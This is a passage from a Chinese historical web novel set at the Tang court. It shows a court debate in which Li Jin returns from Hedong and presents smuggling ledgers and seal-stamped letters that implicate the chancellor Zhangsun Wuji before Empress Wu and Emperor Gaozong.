用!” 许敬宗抓住“诽谤君上”和“攀诬大臣”这两个要害,将王本立等人的行为定性为犯罪,而非简单的“言辞过激”,巧妙地将“堵塞言路”的大帽子反扣了回去。
“许相!” 又一人出列,是中书侍郎来济,亦是关陇骨干,他脸色铁青,“李瑾在河东所为,未经三省复核,擅自动兵,锁拿观察使、地方著姓,已激起物议沸腾,岂是‘忠良’所为?王大夫等人弹劾,正是为国除害,为朝廷正本清源!皇后殿下不察忠奸,反以严刑峻法加诸言官,岂是圣明之主所为? 臣 恐 此 例 一 开, 日 后 朝 堂 再 无 敢 言 之 士, 皆 成 缄 口 寒 蝉! 此非朝廷之福,实乃祸乱之源!” 来济将矛头重新引向李瑾在河东的“专权”,并暗示皇后包庇李瑾,非“圣明之主”,言辞极为尖锐。
“来侍郎!” 兵部侍郎、寒门出身但因军功显赫而得重用的程务挺(历史上为武则天时期名将,此处情节需要稍作借用)虎目圆睁,声如洪钟,“李相奉旨巡察,持尚方剑,遇地方豪强勾结官员,抗拒国策,甚至煽动民变围攻县衙,此等情势,难道还要慢吞吞行文三省,等着那些蠹虫销毁证据、串供翻案不成? 非 常 之 时, 当 行 非 常 之 事!** 李相当机立断,弹压乱局,正是忠于王事,何错之有?反倒是尔等,不去追究那崔琰、裴氏究竟犯了何罪,反而处处指责奉旨办事的钦差,是何道理?莫非那崔琰、裴氏,与尔等有何瓜葛,竟让尔等如此着急为其开脱,甚至不惜攻讦皇后,诬陷大臣?” 程务挺是武将,说话直来直去,却一针见血,直接将对方的行为与“包庇罪犯”联系起来,质疑其动机。
“程侍郎!休得血口喷人!” 刑部一位关陇出身的侍郎怒道,“朝廷自有法度程序!李瑾即便有尚方剑,亦应先奏报,后拿人!如今人犯、证据皆在其手,是非曲直,全由他一面之词,这岂是朝廷法度?分明是滥用钦命,构陷大臣!至于皇后殿下……” 他看了一眼珠帘,终究没敢像王本立那样直接指责,但语气依旧不满,“当广开言路,兼听则明,岂可因言获罪,堵塞忠谏?”
“好一个‘因言获罪’!” 珠帘后,武媚娘冰冷的声音再次响起,打断了越来越激烈的争吵。她没有就具体是非与这些人纠缠,而是将问题再次拔高到皇权与尊严的层面,“本宫再问一遍,王本立等人弹劾李瑾‘蛊惑宫闱,外戚干政,图谋不轨’, 此 等 言 辞, 是 ‘ 忠 谏’ 还 是 ‘ 诽 谤’? 是 ‘ 风 闻’ 还 是 ‘ 构 陷’? 若 此 等 大 逆 不 道、 动 摇 国 本 的 攻 讦, 都 可 以 借 ‘ 风 闻 奏 事’ 之 名 行 之, 而 不 受 惩 处, 那 么 是 不 是 明 日 就 有 人 可 以 说 陛 下 ‘ 昏 聩 无 道’, 后 日 就 有 人 可 以 说 太 子 ‘ 不 堪 大 位’, 皆 以 ‘ 忠 谏’ 免 罪? 如 此, 朝 廷 威 严 何 在? 君 臣 纲 常 何 在? 陛 下 与 本 宫 的 清 誉 又 何 在? !**”
她顿了顿,声音中带着无上威压:“ 所 以, 王 本 立 等 人, 非 惩 不 可! 此非因他们弹劾李瑾, 而 是 因 为 他 们 心 怀 叵 测, 以 言 官 之 名, 行 构 陷 之 实, 其 心 可 诛, 其 行 当 黜!** 此事,本宫心意已决,不必再议!”
这话斩钉截铁,彻底堵死了为王本立等人求情的路子——惩罚他们不是因为政治立场,而是因为“诽谤君上、构陷大臣”的罪行!这个定性,让韩瑗、来济等人一时语塞,他们可以争论李瑾的对错,争论新政的利弊,却绝不敢公开为“诽谤皇后、构陷大臣”的行为辩护。
然而,关陇集团的反击,绝不止于此。王本立等人只是试探的先锋,真正的重头戏,还在后面。
就在殿中气氛因武媚娘的强硬表态而再次凝滞时,一个平和却充满无形重量的声音,从文官班列的最前方缓缓响起:
“皇后殿下暂息雷霆之怒。”
众人循声望去,只见一直闭目养神、仿佛对殿中激烈争吵充耳不闻的 太 尉、 同 中 书 门 下 三 品、 赵 国 公 长 孙 无 忌, 终于缓缓睁开了眼睛,出列半步,手持玉笏,向着珠帘微微一揖。
他一开口,整个紫宸殿瞬间鸦雀无声。所有的目光,无论是关陇一党,还是新政支持者,抑或是中立观望者,都聚焦在这位权倾朝野数十载的“元舅”身上。他才是关陇集团的定海神针,是这场风暴真正的中心。
长孙无忌面容沉静,目光平和,甚至带着一丝长者般的宽容与无奈,仿佛眼前这场激烈争吵,只是一场不懂事的晚辈们的胡闹。但他越是如此,给人的压力就越大。
“王本立等人,身为言官,风闻奏事,乃其本分。即便言辞有所失当, 其 心 或 许 仍 是 为 了 朝 廷 纲 纪, 防 止 权 臣 坐 大, 出 于 一 片 公 心。” 他先为王本立等人定了“公心”的调子,轻描淡写地将“诽谤构陷”说成“言辞失当”。“然则,皇后殿下代陛下听政,母仪天下,尊严不容轻侮。彼等言语冒犯,确属不当。皇后殿下予以薄惩,以儆效尤,亦是应当。”
他这话看似在打圆场,既肯定了王本立等人的“公心”(实则为弹劾李瑾的合理性背书),又承认了皇后惩罚的“应当”(实则坐实了惩罚,但将其性质从“构陷罪”淡化成了“言语冒犯”的薄惩),两边各打五十大板,显得自己公允持中。
但紧接着,他话锋一转,语气变得凝重:“然而,王大夫等人所言,虽有过激之处,然其所虑,却并非全无道理,甚至可说是 关 乎 国 家 安 危 的 金 石 之 言, 不 可 不 察。”
此言一出,支持新政的许敬宗、程务挺等人脸色顿时一变。长孙无忌这是要以退为进,将话题重新拉回对李瑾和新政的根本性质疑上!而且,他亲自下场,分量与王本立等人不可同日而语。
“长孙太尉有何高见?” 珠帘后,武媚娘的声音听不出喜怒。
“高见不敢当。” 长孙无忌微微摇头,叹了口气,姿态摆得极低,但说出的话却字字千钧,“老臣只是忧心。 李 瑾 年 少 骤 贵, 陛 下 与 皇 后 殿 下 信 任 有 加, 委 以 重 任, 本 是 好 事。 然 其 人, 锐 意 有 余, 而 持 重 不 足。 推行新政,本意或是好的,强国富民,谁人不愿?然其手段,未免过于酷烈, 动 辄 以 尚 方 剑 行 事, 视 地 方 大 员、 世 家 著 姓 如 无 物, 先 斩 后 奏, 罗 织 罪 名, 已 引 得 地 方 不 安, 人 心 惶 惶。 汴州郑氏,或许有罪,然河东崔琰、裴氏,世代簪缨, 未 经 三 司 会 审, 便 被 锁 拿 下 狱, 家 产 查 抄, 此 等 行 径, 与 汉 之 酷 吏 何 异? 长 此 以 往, 恐 地 方 官 员 人 人 自 危, 不 敢 任 事, 地 方 豪 强 亦 会 离 心 离 德, 动 摇 国 本 啊!” 他将李瑾的行为直接比作“汉之酷吏”,将“动摇国本”的帽子扣了上来。
“此其一也。” 长孙无忌继续道,声音不急不缓,却带着一股沉重的压力,“其二,李瑾所行新政, 考 成 法 苛 察 官 吏, 使 得 上 下 相 疑; 青 苗 贷 干 预 民 间, 易 生 弊 端; 更 有 清 丈 田 亩 一 事, 直 指 世 家 根 基, 已 在 地 方 引 发 多 起 事 端。 祖宗成法,行之百年,自有其道理。 李 瑾 为 求 速 效, 不 顾 民 情, 不 恤 物 议, 一 意 孤 行, 此 非 治 国 之 道, 实 乃 乱 国 之 源。 老臣恐其 用 心, 未 必 全 在 国 事。” 最后一句,更是诛心之论,暗示李瑾推行新政别有用心。
“长孙太尉!” 许敬宗忍不住再次出列,“新政推行以来,国库岁入增加,百姓负担减轻,此乃有目共睹!李相在地方所为,皆是针对贪官污吏、不法豪强,正是为朝廷除害,为百姓张目!太尉以‘酷吏’、‘乱国’相称,未免有失偏颇!至于‘用心’之说,更是无稽之谈!李相对陛下、对朝廷忠心耿耿,天地可鉴!”
“许相!” 长孙无忌看向许敬宗,目光依旧平和,却带着一股久居上位的威严,“ 国 之 大 事, 在 祀 与 戎, 亦 在 稳 定。 国库岁入增加,百姓负担减轻,固然可喜。然 若 是 以 动 摇 地 方, 离 散 人 心 为 代 价, 得 不 偿 失! 至于贪官污吏、不法豪强,自有朝廷法度循序处置,何须如李瑾这般, 如 同 刮 起 腥 风 血 雨, 弄 得 人 人 自 危? 老臣并非说新政全无可取,也并非说李瑾一无是处。只是其 行 事 过 于 操 切, 手 段 过 于 酷 烈, 已 经 引 发 朝 野 不 安。 为朝廷长治久安计,为陛下圣名计,为皇后殿下清誉计, 老 臣 恳 请 皇 后 殿 下, 暂 停 新 政 中 过 于 激 进 之 举, 召 回 李 瑾, 令 其 回 京 述 职, 将 河 东 一 应 事 务, 交 由 三 司 派 员 会 同 地 方, 公 正 审 理。 如此,既可查清真相,以安人心,亦可彰显朝廷 不 偏 不 倚、 依 法 行 事 之 公 道。” 他终于图穷匕见,目标明确: 暂 停 新 政, 召 回 李 瑾, 将 河 东 案 的 主 导 权 从 李 瑾 手 中 夺 过 来!** 只要李瑾离开河东,人犯和证据移交,以关陇集团在朝廷各部尤其是司法系统的势力,有的是办法将案子拖下去,甚至翻案!
“臣等附议长孙太尉!” “皇后殿下,太尉老成谋国,所言乃金玉良言啊!” “请召回李瑾,暂停新政苛法,以安天下!” 一时间,殿中呼啦啦跪倒一片,几乎大半个朝堂的官员,尤其是那些出身关陇或与关陇利益攸关者,纷纷出列表态,声浪之大,几乎要掀翻紫宸殿的殿顶。他们以长孙无忌马首是瞻,形成了巨大的政治压力。
支持新政的官员,如许敬宗、程务挺,以及一些寒门、庶族出身的官员,虽然人数较少,但也毫不退缩,纷纷出列反驳,指责对方因循守旧,阻挠革新,包庇贪腐。双方言辞激烈,互相攻讦,场面一度近乎失控。
珠帘之后,武媚娘的手指紧紧扣着凤座的扶手,指节因用力而发白。她能清晰地感受到那扑面而来的、如山如海般的压力。长孙无忌没有像王本立那样直接攻击她,而是以“老成谋国”、“稳定至上”为借口,将矛头集中在李瑾的“手段酷烈”和新政的“引发不安”上,要求召回李瑾、暂停新政、重审河东案。这一招, 更 为 高 明, 也 更 难 以 直 接 驳 斥。** 因为他站在了“顾全大局”、“维护稳定”的道德高地上,而且得到了朝中大部分既得利益者的拥护。
她不能退。一旦退让,召回李瑾,就意味着新政的挫败,意味着关陇集团的全面反扑,意味着她和李治这些年的努力将付诸东流,也意味着她将再次被长孙无忌这座大山死死压住,永无翻身之日。
但,面对几乎半个朝堂的逼宫,她该如何应对?强行镇压?那只会坐实“堵塞言路”、“独断专行”的罪名,甚至可能引发更剧烈的反弹,给长孙无忌动用其他力量(比如军队)的口实。妥协?那更是万丈深渊。
就在这剑拔弩张、几乎要让紫宸殿空气凝固的关头,一个所有人都意想不到的声音,忽然从殿外传来,由远及近,清晰而有力地穿透了殿内的喧嚣:
“ 河 东 道 黜 陟 大 使、 同 中 书 门 下 三 品 李 瑾, 奉 旨 还 朝, 有 紧 急 要 务, 面 见 陛 下、 皇 后 殿 下 !”
声音落下,一身风尘仆仆、却目光如炬、腰悬尚方剑的李瑾, 大 步 踏 入 了 紫 宸 殿! 他的出现,如同投入沸腾油锅中的一块寒冰,瞬间让整个大殿的争吵戛然而止。所有人的目光,包括珠帘后的武媚娘,御座上一直沉默、面色苍白的李治,以及那位始终神色平静的长孙无忌,都齐刷刷地聚焦在了这个突然归来的年轻权臣身上。
他回来了!在这个最敏感、最关键的时刻,他回到了长安,踏入了这风暴的中心!
长孙无忌的瞳孔,几不可察地微微收缩了一下。
武媚娘紧握扶手的手指,悄然松开了几分,心中一块巨石落地,取而代之的,是更加汹涌的战意。
好戏,终于要进入最高潮了。
第117章 瑾献铁证山
李瑾的突然出现,如同一块巨石投入本已波澜汹涌的深潭,瞬间激起了千层浪。他身着紫色官袍,风尘仆仆,但腰背挺直,目光锐利如出鞘的剑,扫过殿中一张张或惊愕、或骇然、或阴沉、或惊喜的脸,最终落在御阶之上,躬身行礼:
“臣,河东道黜陟大使、同中书门下三品李瑾,奉旨巡查河东完毕,有紧急要务,特回京面圣复命!甲胄在身,风尘未洗,惊扰朝会,伏乞陛下、皇后殿下恕罪!”
他的声音清朗有力,回荡在寂静的紫宸殿中,打破了方才那几乎令人窒息的胶着与喧嚣。
御座之上,一直面色苍白、默然不语的皇帝李治,眼中骤然迸发出一丝光亮,仿佛溺水之人抓住了浮木,不由自主地向前倾了倾身子。珠帘之后,武媚娘的心终于彻底落定,取而代之的是一种混合着激动、决绝与凌厉的复杂情绪。好!回来得正是时候!
而站在文官班列最前方的长孙无忌,脸上那副万年不变的平和表情,终于出现了一丝极其细微的裂纹,但转瞬即逝,他缓缓转过身,看向李瑾,目光深邃,不见喜怒,只是微微颔首:“李相为国操劳,辛苦了。”
“长孙太尉。” 李瑾不卑不亢地回礼,目光与长孙无忌在空中一触即分,没有过多的火花,却让所有旁观者都感到一股无形的寒意。所有人都知道,正主来了,这场朝会的真正高潮,即将拉开序幕。
“李爱卿平身。” 珠帘后,武媚娘的声音适时响起,带着一丝恰到好处的关切与威严,“爱卿奉旨巡察河东,一路辛苦。方才朝中诸位,正议及河东之事,对爱卿在彼处所为,颇有些……议论。爱卿此时回京,正好当庭奏对,以释众疑。” 她巧妙地将方才关陇集团的攻讦,定性为“议论”和“疑虑”,给了李瑾一个当庭解释、甚至反击的绝佳舞台。
“臣,遵旨。” 李瑾起身,再次转向百官。他没有急于辩解,也没有去看那些方才攻讦他最凶的人,而是从怀中取出一份厚厚的奏疏,双手高举过顶。
“启奏陛下、皇后殿下,臣奉旨巡察河东,查察吏治,推行新政。期间,于绛州遇地方豪强裴氏,勾结绛州刺史崔琰, 抗 拒 朝 廷 清 丈 田 亩 国 策, 煽 动 佃 户 乡 民, 聚 众 围 攻 县 衙, 意 图 杀 官 造 反!** 臣持陛下所赐尚方剑,当机立断,调兵弹压,擒拿首恶裴远道、裴文焕父子,及绛州刺史崔琰!”
他声音朗朗,先将“擅自动兵、锁拿大臣”的行为定性为“平定叛乱、擒拿首恶”,站在了维护朝廷权威、镇压不法的高度。
果然,他话音刚落,立刻就有人跳出来反驳。方才支持长孙无忌的刑部侍郎厉声道:“李相此言差矣!聚众闹事或有之,然‘杀官造·反’四字,未免言过其实!裴氏乃河东著姓,崔琰乃朝廷四品大员,岂可因一时民变,便定为反贼?此非草菅人命乎?且李相所言,可有确凿证据?”
“证据?” 李瑾嘴角勾起一抹冰冷的弧度,目光如电射向那名侍郎,“本官自然有证据,而且是 铁 证 如 山!” 他转身,再次面向御阶,“陛下、皇后殿下,臣在查抄裴府之时,于其密室暗格之中,发现数本私密账册,以及大量往来书信。 经 臣 初 步 查 验, 此 账 册 所 载, 乃 是 以 裴 氏 为 中 心, 勾 结 河 东、 河 南、 关 内 乃 至 京 畿 地 区 大 小 官 员、 世 家, 走 私 盐 铁、 贩 卖 私 茶、 走 私 战 马 兵 甲, 甚 至 走 私 铜 料, 私 铸 恶 钱 的 完 整 账 目 与 利 益 分 配 记 录! 所涉赃款, 累 计 已 逾 百 万 贯! 而 那 些 书 信, 更 是 裴 氏 与 朝 中 某 些 重 臣、 地 方 大 员 勾 结 往 来, 行 贿 受 贿, 卖 官 鬻 爵, 操 纵 讼 狱, 甚 至 刺 探 朝 廷 机 密 的 铁 证!**”
“哗——!”
此言一出,满朝哗然!走私盐铁茶马,已是重罪;走私铜料、私铸恶钱,更是动摇国本、祸乱金融的死罪!而涉及赃款百万贯,勾结朝臣、地方大员……这简直是骇人听闻的巨案!许多原本中立的官员,也露出了震惊和愤怒的神色。
“血口喷人!” 那刑部侍郎脸色煞白,强自镇定,“李相!此等大案,非同小可!账册书信,皆可伪造!焉知不是你为罗织罪名,构陷忠良,故意炮制?”
“伪造?” 李瑾冷笑一声,从怀中取出一个油布包裹,层层打开,取出几本封面陈旧、边角磨损的账册,以及一叠书信。他高高举起,“此乃账册、书信原件!上面有裴远道、崔琰等人的亲笔签名、画押,更有他们与各方往来的暗记、印鉴!是真是假,一验便知! 本 官 已 将 裴 远 道、 崔 琰 等 一 干 人 犯, 以 及 裴 府 涉 案 账 房、 管 家 等 关 键 人 证, 悉 数 押 解 回 京, 现 就 拘 于 大 理 寺 诏 狱 之 中! 陛下、皇后殿下可随时下旨,召三司长官,当庭会审,与这些物证一一对质!看看是本官伪造,还是某些人, 结 党 营 私, 贪 赃 枉 法, 祸 国 殃 民!**”
人证、物证俱在,而且敢于当庭对质!李瑾的底气,让那些质疑的声音瞬间小了下去。许多人看向长孙无忌,看他如何应对。
长孙无忌依旧面沉如水,缓缓道:“若裴氏、崔琰果真犯下如此滔天大罪,自是天理难容,国法不容。李相查案有功。只是……” 他话锋一转,“ 裴 氏 乃 地 方 豪 强, 崔 琰 不 过 一 州 刺 史, 凭 他 们, 如 何 能 构 建 起 如 此 庞 大 的 走 私 网 络? 如 何 能 让 各 地 关 卡、 官 员 对 其 走 私 行 径 视 而 不 见, 甚 至 为 其 提 供 方 便? 账册书信中提及的‘朝中重臣’,又是何人?李相既然已查获证据,何不当庭明示,也好让陛下、皇后殿下,让满朝文武,都看看是谁如此胆大包天, 视 国 法 如 无 物?**” 他这是以退为进,承认裴氏、崔琰可能有罪,但将问题的核心,引向了“背后的保护伞”,并逼李瑾当场点名。他料定李瑾在没有十足把握,或者顾忌某些人势力的情况下,不敢轻易说出那个名字。
然而,李瑾等的就是他这句话!
“太尉问得好!” 李瑾目光灼灼,直视长孙无忌,毫无惧色,“裴氏、崔琰,自然没有这等通天本事。 但 若 是 有 人 在 朝 中 为 其 遮 风 挡 雨, 在 地 方 为 其 铺 路 搭 桥, 甚 至 … … 就 是 这 走 私 网 络 的 最 大 保 护 伞 和 受 益 者 呢?**”
他不再看长孙无忌,而是转向御阶,声音陡然提高,清晰地说道:“臣,于查获的书信之中,发现数封盖有特殊印鉴的信函。此印鉴形制古朴,非官非私,乃是一 螭 龙 盘 绕 的 图 案! 经臣查访辨认,并核对历年宫中赏赐记录, 此 螭 龙 印 鉴, 正 是 当 年 太 宗 文 皇 帝 御 赐 给 当 朝 太 尉、 赵 国 公 长 孙 无 忌 长 孙 大 人 的 私 人 印 信 之 一!”
“轰——!”
仿佛一道九天惊雷,直接在紫宸殿炸响!所有人都被震得头晕目眩,几乎不敢相信自己的耳朵!
长孙无忌的螭龙印信?!出现在与走私巨案相关的密信上?!
长孙无忌那古井无波的脸上,终于第一次出现了明显的震动,他的瞳孔骤然收缩,袖中的手指猛地握紧。他千算万算,没算到裴律师那个蠢货,竟然还留着带有他印信的书信!更没算到,李瑾竟然真的敢在这金殿之上,在这百官面前, 直 接 点 他 的 名!
“李瑾!你……你血口喷人!” 韩瑗气得浑身发抖,指着李瑾,厉声喝道,“长孙太尉乃三朝元老,国之柱石,陛下元舅,怎会与走私巨案有关?定是你伪造印信,构陷忠良!陛下,皇后殿下,此子其心可诛啊!”
“伪造?” 李瑾从怀中珍而重之地取出一个锦囊,从里面倒出几方小小的、用火漆封存的纸片,以及几张明显是拓印下来的印鉴图案。他将其高高举起,“此乃臣从密信中小心剥离、保存完好的火漆印鉴原件,以及拓印图案!是真是假,只需取长孙太尉府中印信一验,或者查阅宫中赏赐存档,便知分晓! 更 何 况 … …” 他目光如电,扫过那些面如土色的关陇官员,“这些盖有螭龙印信的书信,内容皆是裴氏向某位‘恩相’汇报走私收益分成、请求庇护、以及传达某些‘朝中动向’的密报!字里行间,对这位‘恩相’恭敬有加,提及金额数目巨大,动辄数万贯! 若 非 长 孙 太 尉 本 人, 谁 人 敢 用, 又 谁 人 配 用 此 印? 谁 人, 又 能 让 裴 氏 如 此 巨 寇, 甘 心 献 上 如 此 巨 额 的 贿 赂 与 分 润?**”
“你……你一派胡言!此必是有人盗用太尉印信!” 来济也急了,声音尖利。
“盗用?” 李瑾步步紧逼,“如此重要的私人印信,谁能轻易盗用?盗用之后,还能长期与河东巨寇保持密信往来,安排走私事宜,收受巨额贿赂而不被察觉?长孙太尉, 您 位 高 权 重, 府 中 守 卫 森 严, 难 道 您 的 印 信, 就 这 么 容 易 被 人 盗 用 吗? 还是说,您对此, 根 本 就 是 知 情 的, 甚 至 … … 是 默 许 的?”
“李瑾!休得放肆!” 长孙无忌终于开口,声音依旧平稳,但仔细听,却能察觉出一丝极力压抑的颤音,“老夫的印信,或有保管不慎,为小人所乘,亦未可知。 单 凭 几 封 不 知 真 伪 的 书 信, 几 个 印 鉴, 便 要 攀 扯 当 朝 太 尉, 未 免 太 过 儿 戏! 此等大事, 需 经 三 司 严 格 勘 验, 详 加 审 讯 人 犯, 方 可 定 论。 岂可在这朝堂之上,空口白牙,妄加指摘?” 他到底是宦海沉浮数十年的老狐狸,瞬间便抓住了关键—— 拖! 将 事 情 拖 入 司 法 程 序。** 只要不在这朝堂上被当场定罪,他就有无数种方法可以运作,可以翻盘。
“空口白牙?妄加指摘?” 李瑾笑了,那笑容里充满了冰冷的嘲讽,“太尉莫非忘了,方才您和诸位同僚,是如何弹劾本官‘擅权’、‘构陷’的吗?那时,你们可曾要求‘三司严格勘验’?可曾说过‘不可空口白牙’? 怎 么, 轮 到 自 己 头 上, 便 要 讲 究 起 程 序, 要 求 起 证 据 确 凿 了?”
这话辛辣无比,怼得长孙无忌一方的人马面色一阵红一阵白。
“更何况,” 李瑾不再给他们喘息之机,声音陡然变得激昂,“此案证据,绝非仅仅几封书信!” 他再次从袖中(实则是早有准备)取出一本装订好的厚厚卷宗,“此乃臣根据裴府账册,与户部、工部、盐铁司、各地关卡过往记录, 历 时 半 月, 秘 密 核 对 、 整 理 出 的 证 据 汇 总! 上面清楚记载了,过去五年间,以裴氏为核心的走私网络, 走 私 的 盐 数 以 万 石, 铁 数 以 十 万 斤, 茶 数 以 千 担, 战 马 数 百 匹, 铜 料 更 是 不 计 其 数! 所涉赃款, 仅 记 录 在 册 的, 便 有 一 百 三 十 七 万 贯 之 巨! 而 这 其 中, 有 超 过 四 成 的 利 润, 通 过 各 种 隐 蔽 渠 道, 流 入 了 长 安 城 中, 其 中 大 部 分, 账 册 显 示, 最 终 指 向 了 ‘ 螭 龙 印 信 所 有 者’ 及 其 关 联 人 员!**”
他重重地将那卷宗掷于殿中金砖之上,发出“啪”的一声脆响,仿佛砸在每个人的心头。
“一百三十七万贯!” 有官员忍不住失声惊呼。这几乎相当于国家一年盐税的一半!多么触目惊心的数字!
“这还不算他们贿赂各级官员、打通关节的支出,以及所造成的盐铁专卖流失、恶钱泛滥、物价动荡等 无 法 估 量 的 损 失!” 李瑾的声音响彻大殿,“ 长 孙 太 尉! 您 身 为 太 尉, 同 中 书 门 下 三 品, 陛 下 的 元 舅, 三 朝 元 老, 本 应 为 国 家 柱 石, 百 官 表 率! 可 您 看 看, 这 账 册 上 记 载 的, 是 什 么? 是 走 私 国 之 命 脉 的 滔 天 罪 行! 是 蛀 空 国 家 根 基 的 硕 鼠 行 径! 您 口 口 声 声 祖 宗 法 度, 国 家 稳 定, 可 您 和 您 的 党 羽, 就 是 在 用 这 样 的 方 式, 维 护 您 们 的 ‘ 稳 定’, 遵 守 您 们 的 ‘ 法 度’ 吗?”
“你……你……信口雌黄!伪造账目!诬陷!这是赤裸裸的诬陷!” 韩瑗气得浑身发抖,几乎要晕厥过去。来济等人也是面无人色,想要反驳,却见李瑾证据一件件抛出,人证物证俱全,逻辑链条清晰,一时间竟不知从何驳起。
长孙无忌的脸色,终于彻底阴沉下来。他知道,李瑾这是有备而来,而且准备得极其充分。人证、物证、账目核对、利益指向……环环相扣。那螭龙印信,是他早年私下与一些心腹、门生故吏通信时所用,后来虽少用,但确实未曾刻意销毁。没想到,竟成了今日的催命符。裴律师这个蠢货!不,是自己大意了,小看了这个李瑾,小看了那个女人的决心和手段!
“陛下,皇后殿下!” 李瑾不再理会气急败坏的韩瑗等人,也不再看脸色阴沉的长孙无忌,他转向御阶,撩袍跪地,双手将账册汇总、印信拓片等高举过顶,声音铿锵,掷地有声:
“ 臣, 李 瑾, 以 身 家 性 命 担 保, 所 奏 之 事, 句 句 属 实, 件 件 有 据! 裴氏走私巨案, 侵 吞 国 帑, 动 摇 国 本; 长孙无忌身为太尉, 或 直 接 参 与, 或 纵 容 包 庇, 收 受 巨 额 贿 赂, 结 党 营 私, 罪 证 确 凿! 其 所 为, 已 非 寻 常 贪 墨, 实 乃 国 之 巨 蠹, 朝 廷 大 害! 臣 恳 请 陛 下、 皇 后 殿 下, 立 即 下 旨, 将 太 尉 长 孙 无 忌 革 职 拿 问, 交 由 三 司 会 同 宗 正 府, 严 加 审 讯, 查 明 其 所 有 罪 行, 依 律 严 惩, 以 正 朝 纲, 以 肃 国 法, 以 谢 天 下!”
“臣附议!” “臣附议!” 许敬宗、程务挺等支持新政的官员,早已按捺不住,纷纷出列,跪倒在地,声浪震天。
而那些原本支持长孙无忌的官员,此刻大多面如死灰,瑟瑟发抖,少数还想强辩的,在看到李瑾手中那厚厚的证据,感受到殿外隐约传来的、全副武装的北衙禁军脚步声(武媚娘早已暗中布置),以及御阶上,皇帝那越来越难看的脸色,和珠帘后那冰冷刺骨的目光时,也都哑了火,低下头,不敢言语。
金殿之上,风云彻底变色。方才还气势汹汹、逼宫皇后的关陇集团,转瞬间便被李瑾抛出的 铁 证 如 山 砸 得 晕 头 转 向, 溃 不 成 军。** 长孙无忌这座屹立数十年的政治大山,在确凿的证据和汹涌的攻势面前,终于露出了崩塌的迹象。
所有人的目光,都投向了御座之上,那个一直沉默,此刻却脸色苍白、身体微微发抖的皇帝,李治。
第118章 无忌倒台日
紫宸殿内,落针可闻。空气中弥漫着浓烈的、几乎令人窒息的压抑。李瑾那“革职拿问,依律严惩”的铿锵之声,如同重锤,砸在光洁的金砖上,也砸在每一个人的心头。百余道目光,复杂、震惊、恐惧、期待、绝望……交织在一起,最终都凝聚在御阶之上,那个身着明黄龙袍、面色苍白、身体甚至在微微颤抖的皇帝——李治身上。
他是天子,是这大唐帝国名义上至高无上的主宰。然而此刻,在这决定帝国未来走向、决定他能否真正乾纲独断的关键时刻,他却感到一阵阵的虚弱和晕眩。龙椅的扶手冰冷坚硬,但他掌心却全是冷汗。下方,是他倚为股肱、却又忌惮压抑了他十余年的元舅长孙无忌;是他深爱倚重、助他抗衡元舅却又让他心生复杂情绪的皇后武媚娘;是他亲手提拔、用以推行新政、此刻正抛出致命一击的“利剑”李瑾。
支持李瑾的官员们跪伏在地,头颅深埋,姿态恭敬,但那沉默中却涌动着一股灼热的期盼。反对者们,大多面如死灰,眼神涣散,不敢抬头,仿佛等待最后的审判。而仍站立着的,以韩瑗、来济为首的长孙无忌死忠,虽然人数已少,却兀自强撑着,如同惊涛骇浪中几块顽固的礁石,死死盯着御座,期盼着那个他们侍奉、敬畏、依赖了数十年的“元舅”,能够再次力挽狂澜。
长孙无忌本人,在最初的震动与阴沉之后,反而奇异地平静了下来。他甚至微微挺直了有些佝偻的脊背,双手依旧规整地持着玉笏,目光不再看向咄咄逼人的李瑾,也不再扫视那些或惊恐或沉默的同党,而是径直投向珠帘之后,那个模糊却凌厉的身影,以及御座上,那个他一手扶立、看着长大、如今却要向他亮出獠牙的外甥皇帝。
他知道,自己大意了,也小觑了对手的决心与狠辣。那螭龙印信,是他早年私信所用,后来位极人臣,寻常书信已无需此印,便束之高阁。没想到河东裴氏竟还保留着早年一些不谨慎的书信,更没想到李瑾能搜出,并且敢在这百官朝会上,如此不留情面地抛出。裴律师那个蠢货,成事不足,败事有余!但此刻,懊悔已无用处。
证据?那账册、书信,或许是铁证。但在朝堂之上,尤其是在涉及他长孙无忌的时候,证据从来不是最重要的东西。最重要的是圣心,是陛下的态度,是朝局的平衡,是帝国的“稳定”。他侍奉太宗、高宗两朝,历经无数风浪,扳倒过太子承乾、魏王泰,斗倒过房玄龄、褚遂良(此处为小说情节需要,与正史有出入),什么样的阵仗没见过?李瑾,一个骤贵的幸进之辈,武媚娘,一个后宫妇人,就想凭这些“证据”扳倒他?
他缓缓吸了一口气,那苍老却依旧沉稳的声音,在死寂的大殿中响起,不带一丝慌乱,反而有种历经沧桑的疲惫与沉重:
“陛下,老臣侍奉先帝与陛下,已近四十年。自贞观初年,追随先帝于鞍马之间,至永徽以来,辅佐陛下于庙堂之上,自问兢兢业业,夙夜匪懈,不敢有丝毫懈怠。 今 日 李 瑾 所 言, 所 谓 证 据, 老 臣 不 知, 亦 不 解。 老臣的印信,或有疏于保管之处,为宵小所乘,伪造构陷,亦未可知。河东裴氏,老臣确曾识得,然仅为寻常故旧,绝无贪赃枉法、结党营私之事! 此 必 是 有 人 见 老 臣 年 老 德 薄, 占 据 高 位, 心 生 嫉 恨, 故 意 罗 织 罪 名, 欲 置 老 臣 于 死 地, 以 便 其 揽 权 专 政 之 私!**”
他没有激烈反驳证据,而是首先诉诸“功劳”与“苦劳”,将自己摆在“两朝元老、鞠躬尽瘁”的位置,然后轻描淡写地将证据归为“伪造构陷”,最后将矛头直指李瑾和武媚娘的动机——“揽权专政”。这是以退为进,更是以情动人,以势压人。他要提醒皇帝,提醒这满朝文武,他长孙无忌,不仅仅是一个可能犯罪的官员,更是 大 唐 江 山 的 功 臣, 是 皇 帝 的 亲 舅, 是 朝 廷 稳 定 的 象 征!** 动他,就是动摇国本,就是过河拆桥,就是自毁长城!
果然,他这番话,让一些原本慑于李瑾证据、不敢出声的关陇官员和中立派,眼中又燃起了一丝希望。是啊,长孙无忌毕竟不同旁人,动他,牵涉太广,影响太大。
韩瑗仿佛抓住了救命稻草,老泪纵横,扑倒在地:“陛下!长孙太尉乃国之柱石,陛下元舅!数十年来,呕心沥血,辅佐两朝,功在社稷!岂可因小人之构陷,奸佞之谗言,便疑之、罪之?此非明君所为,更非国家之福啊!陛下三思,陛下三思啊!” 他不再辩驳证据真伪,而是直接诉诸君臣之情、骨肉之亲,试图用情感和“稳定”来绑架皇帝。
来济等人也纷纷附和,声音悲切,仿佛李治若要动长孙无忌,便是昏聩之君,便是自毁社稷。
李治的脸色更加苍白,嘴唇翕动,似乎想说什么,却又发不出声音。他看向珠帘,眼中充满了痛苦、挣扎,还有一丝不易察觉的……哀求。他多么希望,此刻有人能替他做决定,能承担这“刻薄寡恩”、“鸟尽弓藏”的骂名。
